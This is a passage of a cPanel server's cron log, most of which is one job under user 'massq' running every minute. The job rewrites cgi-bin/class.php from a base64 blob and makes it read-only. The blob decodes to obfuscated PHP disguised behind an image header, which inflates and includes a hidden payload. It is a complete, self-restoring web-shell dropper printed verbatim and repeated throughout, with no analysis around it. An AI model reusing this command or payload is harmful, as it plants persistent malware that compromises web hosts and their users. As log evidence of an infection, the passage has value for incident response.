&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:00:01 server CROND[26466]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 10:00:01 server CROND[26468]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 10:00:01 server CROND[26469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:00:01 server CROND[26471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:00:01 server CROND[26470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:01:01 server CROND[27542]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 10:01:01 server CROND[27543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:01:01 server run-parts(/etc/cron.hourly)[27542]: starting 0anacron
Nov  9 10:01:01 server run-parts(/etc/cron.hourly)[27555]: finished 0anacron
Nov  9 10:02:01 server CROND[28394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:03:01 server CROND[29201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:04:01 server CROND[30042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:05:01 server CROND[30620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:05:01 server CROND[30622]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 10:05:01 server CROND[30621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:05:01 server CROND[30619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:06:01 server CROND[31595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:07:01 server CROND[32454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:08:01 server CROND[816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:09:01 server CROND[1630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:09:01 server CROND[1632]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 10:10:01 server CROND[2461]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:10:01 server CROND[2462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:10:01 server CROND[2464]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 10:10:01 server CROND[2463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:11:01 server CROND[3430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:12:01 server CROND[4235]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
